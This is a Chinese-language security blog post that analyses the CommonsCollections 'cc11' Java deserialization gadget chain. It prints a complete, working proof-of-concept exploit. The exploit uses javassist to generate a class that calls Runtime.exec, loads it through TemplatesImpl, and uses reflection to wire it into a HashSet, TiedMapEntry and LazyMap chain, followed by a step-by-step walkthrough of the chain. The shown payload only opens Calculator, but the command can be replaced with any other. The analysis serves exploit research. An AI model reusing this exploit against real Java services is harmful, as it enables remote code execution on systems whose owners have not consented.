0x00 前言
在看三梦师傅有关内存马的文章的时候,发现三梦师傅是用 cc11 打的,之前也听队里的丁师傅说过 cc11 蛮好用的,这次既然遇到了就来看一下
cc11 好用的原因个人认为主要是 能够像 cc2 一样加载恶意字节码,同时受影响的版本还是 CommonsCollections 3.1-3.2.1 这个版本相对 CommonsCollections 4.0 范围应该会更广一些
个人觉得像是 cc2 和 cc6 的杂交
0x01 正文
利用版本
CommonsCollections 3.1-3.2.1
限制
JDK版本:暂无限制
Poc
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import javassist.ClassClassPath;import javassist.ClassPool;import javassist.CtClass;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.util.HashMap;import java.util.HashSet;@SuppressWarnings("all")public class cc11 {public static void main(String[] args) throws Exception {// 利用javasist动态创建恶意字节码ClassPool pool = ClassPool.getDefault();pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));CtClass cc = pool.makeClass("Cat");String cmd = "java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");";cc.makeClassInitializer().insertBefore(cmd);String randomClassName = "EvilCat" + System.nanoTime();cc.setName(randomClassName);cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); //设置父类为AbstractTranslet,避免报错// 写入.class 文件// 将我的恶意类转成字节码,并且反射设置 bytecodesbyte[] classBytes = cc.toBytecode();byte[][] targetByteCodes = new byte[][]{classBytes};TemplatesImpl templates = TemplatesImpl.class.newInstance();Field f0 = templates.getClass().getDeclaredField("_bytecodes");f0.setAccessible(true);f0.set(templates,targetByteCodes);f0 = templates.getClass().getDeclaredField("_name");f0.setAccessible(true);f0.set(templates,"name");f0 = templates.getClass().getDeclaredField("_class");f0.setAccessible(true);f0.set(templates,null);InvokerTransformer transformer = new InvokerTransformer("asdfasdfasdf", new Class[0], new Object[0]);HashMap innermap = new HashMap();LazyMap map = (LazyMap)LazyMap.decorate(innermap,transformer);TiedMapEntry tiedmap = new TiedMapEntry(map,templates);HashSet hashset = new HashSet(1);hashset.add("foo");Field f = null;try {f = HashSet.class.getDeclaredField("map");} catch (NoSuchFieldException e) {f = HashSet.class.getDeclaredField("backingMap");}f.setAccessible(true);HashMap hashset_map = (HashMap) f.get(hashset);Field f2 = null;try {f2 = HashMap.class.getDeclaredField("table");} catch (NoSuchFieldException e) {f2 = HashMap.class.getDeclaredField("elementData");}f2.setAccessible(true);Object[] array = (Object[])f2.get(hashset_map);Object node = array[0];if(node == null){node = array[1];}Field keyField = null;try{keyField = node.getClass().getDeclaredField("key");}catch(Exception e){keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");}keyField.setAccessible(true);keyField.set(node,tiedmap);Field f3 = transformer.getClass().getDeclaredField("iMethodName");f3.setAccessible(true);f3.set(transformer,"newTransformer");try{ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc11"));outputStream.writeObject(hashset);outputStream.close();ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc11"));inputStream.readObject();}catch(Exception e){e.printStackTrace();}}}
分析
前半段就是利用 javasist 动态生成恶意类,这块在前文 cc2 的分析中提及过,所以就不重再赘述了

我们主要来分析后面的部分
首先来看一下利用链,有没有发现很熟悉,这不就是 cc6 Poc 的后半部分吗233
java.io.ObjectInputStream.readObject()java.util.HashSet.readObject()java.util.HashMap.put()java.util.HashMap.hash()org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()org.apache.commons.collections.map.LazyMap.get()org.apache.commons.collections.functors.InvokerTransformer.transform()java.lang.reflect.Method.invoke()... templates gadgets ...java.lang.Runtime.exec()
在 cc11 中最后是利用 InvokerTransformer 调用 TemplatesImpl#newTransformer 加载恶意字节码来实现的触发的

接下来我们具体分析一下,在 cc11 的 payload 中,我们发现并没有使用之前的链,而是只用了 InvokerTransformer ,通过构造函数将 toString 进行传入(其实这里的 toString 只是占位的作用,后面会利用反射进行修改)
InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

然后将我们的 transformer 传入到了 LazyMap#decorate 中

在 LazyMap#get 中会调用我们传入的 transformer 的 transform ,所以后面我们只要找到调用 LazyMap#get 就能进行触发

后面就和 cc6 后半部分一样,这边简单说一下,具体分析可以查看上一篇文章:https://www.yuque.com/tianxiadamutou/zcfd4v/ac9529#df9c9706-4
在 TiedMapEntry#getValue 中调用了 get 方法,且 map 我们可控,为了扩大利用范围我们需要找到调用 getValue 的地方

发现在 hashCode 中调用了,所以接下来我们需要找一个获取哈希的地方

所以这里又找到了 HashMap#put,如果 key 可控就会调用 key 的 hashCode 函数,所以接下来目标就是寻找 HashMap#put 且传入的 key 可控


这里利用了 HashSet#readObject ,如果我们能控制 e 那么就有可能触发,这里 e 是根据 s 反序列化得来的

我们查看对应序列化的方法 ,如果我们能控制 HashSet 的 map 属性中的 key 那么就能触发 RCE

所以我们这里利用反射来进行设置
Field f = null;try {f = HashSet.class.getDeclaredField("map");} catch (NoSuchFieldException e) {f = HashSet.class.getDeclaredField("backingMap");}f.setAccessible(true);HashMap hashset_map = (HashMap) f.get(hashset);Field f2 = null;try {f2 = HashMap.class.getDeclaredField("table");} catch (NoSuchFieldException e) {f2 = HashMap.class.getDeclaredField("elementData");}f2.setAccessible(true);Object[] array = (Object[])f2.get(hashset_map);Object node = array[0];if(node == null){node = array[1];}Field keyField = null;try{keyField = node.getClass().getDeclaredField("key");}catch(Exception e){keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");}keyField.setAccessible(true);keyField.set(node,tiedmap);
最后利用反射修改我们之前 InvokerTransformer 中的 iMethodName属性(这样是为了防止我们在生成 payload 的时候触发 RCE,在前面的几条链中也会这么操作,有的时候在本地触发 RCE 之后会导致数值改变然后在服务端就无法触发 RCE 了)
Field f3 = transformer.getClass().getDeclaredField("iMethodName");f3.setAccessible(true);f3.set(transformer,"newTransformer");
所以其实前面的 toString 也可以改为其他的参数,我在本地修改为其他的也可以正常进行触发

0x02 总结
cc11 分析下来发现还是非常好用的,毕竟可以加载恶意字节码,同时利用范围也比较大,后面感兴趣的可以自行添加到 yso 中
